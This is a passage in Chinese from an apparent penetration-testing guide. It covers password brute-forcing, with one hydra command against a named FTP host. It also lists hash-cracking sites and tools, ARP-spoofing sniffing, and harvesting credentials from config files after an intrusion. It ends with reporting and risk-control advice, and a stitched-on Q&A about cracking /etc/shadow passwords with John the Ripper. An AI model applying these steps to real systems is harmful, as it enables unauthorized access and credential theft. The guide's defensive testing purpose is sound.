有時候,目標系統任何方面的配置都是無懈可擊的,但是並不是說就完全沒辦法進入。最簡單的說,一個缺少密碼完全策略的論證系統就等於你安裝了一個不能關閉的防盜門。很多情況下,一些安全技術研究人員對此不屑一顧,但是無數次的安全事故結果證明,往往破壞力最大的攻擊起源於最小的弱點,例如弱口令、目錄列表、SQL注入繞過論證等等。所以說,對於一些專門的安全技術研究人員來說,這一塊意義不大,但是對於一個ethical hacker來說,這一步驟是有必要而且絕大部分情況下是必須的。;)
目前比較好的網路密碼暴力破解工具有:thc-hydra,brutus
>hydra.exe -L users.txt -P passwords.txt -o test.txt -s 2121 www.heimian.com ftp
目前網路中有一種資源被利用的很廣泛,那就是rainbow table技術,說白了也就是一個HASH對應表,有一些網站提供了該種服務,對外宣稱存儲空間大於多少G,像rainbowcrack更是對外宣稱其數據量已經大於1.3T。
針對此種方式對外提供在線服務的有:
網址 描述 rainbowcrack 裡面對應了多種加密演算法的HASH。 http://gdataonline.com/seekhash.php http://www.milw0rm.com/cracker/info.php http://www.hashchecker.com/?_sls=search_hash http://bokehman.com/cracker/ http://passcracking.ru/ http://www.md5.org.cn http://www.cmd5.com/ 數據量全球第一,如果本站無法破解,那麼你只能去拜春哥...
當然,有些單機破解軟體還是必不可少的:Ophcrack,rainbowcrack(國人開發,贊一個),cain,L0phtCrack(破解Windows密碼),John the Ripper(破解UNIX/LINUX)密碼,當然,還少不了一個FindPass...
針對網路設備的一些默認帳號,你可以查詢http://www.routerpasswords.com/和http://www.phenoelit-us.org/dpl/dpl.html
在滲透測試過程中,一旦有機會接觸一些OFFICE文檔,且被加了密的話,那麼,rixler是您馬上要去的地方,他們提供的OFFICE密碼套件能在瞬間打開OFFICE文檔(2007中我沒有試過,大家有機會測試的話請給我發一份測試結果說明,謝謝)。看來微軟有理由來個補丁什麼的了。對於企業來說,您可以考慮使用鐵卷或者RMS了。
6、日誌清除
It is not necessary actually.
7、進一步滲透
攻入了DMZ區一般情況下我們也不會獲取多少用價值的信息。為了進一步鞏固戰果,我們需要進行進一步的內網滲透。到這一步就真的算是無所不用其及。最常用且最有效的方式就是Sniff抓包(可以加上ARP欺騙)。當然,最簡單的你可以翻翻已入侵機器上的一些文件,很可能就包含了你需要的一些連接帳號。比如說你入侵了一台Web伺服器,那麼絕大部分情況下你可以在頁面的代碼或者某個配置文件中找到連接資料庫的帳號。你也可以打開一些日誌文件看一看。
除此之外,你可以直接回到第二步漏洞掃描來進行。
四、生成報告
報告中應當包含:
薄弱點列表清單(按照嚴重等級排序)
薄弱點詳細描述(利用方法)
解決方法建議
參與人員/測試時間/內網/外網
五、測試過程中的風險及規避
在測試過程中無可避免的可能會發生很多可預見和不可預見的風險,測試方必須提供規避措施以免對系統造成重大的影響。以下一些可供參考:
1. 不執行任何可能引起業務中斷的攻擊(包括資源耗竭型DoS,畸形報文攻擊,數據破壞)。
2. 測試驗證時間放在業務量最小的時間進行。
3. 測試執行前確保相關數據進行備份。
4. 所有測試在執行前和維護人員進行溝通確認。
5. 在測試過程中出現異常情況時立即停止測試並及時恢復系統。
6. 對原始業務系統進行一個完全的鏡像環境,在鏡像環境上進行滲透測試。
『陸』 linux下對/etc/shadow中用戶檢查弱口令,用C語言如何讀出
/etc/shadow文件是一個很普通的文本文件, 用c語言讀出有什麼問題? 無非就是fopen, fread咯
然後你要檢查弱口令, /etc/shadow裡面儲存的口令是通過crypt函數加密的, 進來的linux版本大部分用了md5 hash的方式進行了加密, 這種加密是單向的,因此你不能通過直接檢查加密後的字元串來判斷弱口令。
比較好的方法是搞一個比較完整的字典文件, 然後找一個工具叫john the ripper(10多年前用的,不知道現在是不是最好的)。 這個工具是使用字典文件進行一定的組合然後嘗試破解密碼, 如果可以破解出密碼,那說明你的用戶的密碼不夠安全。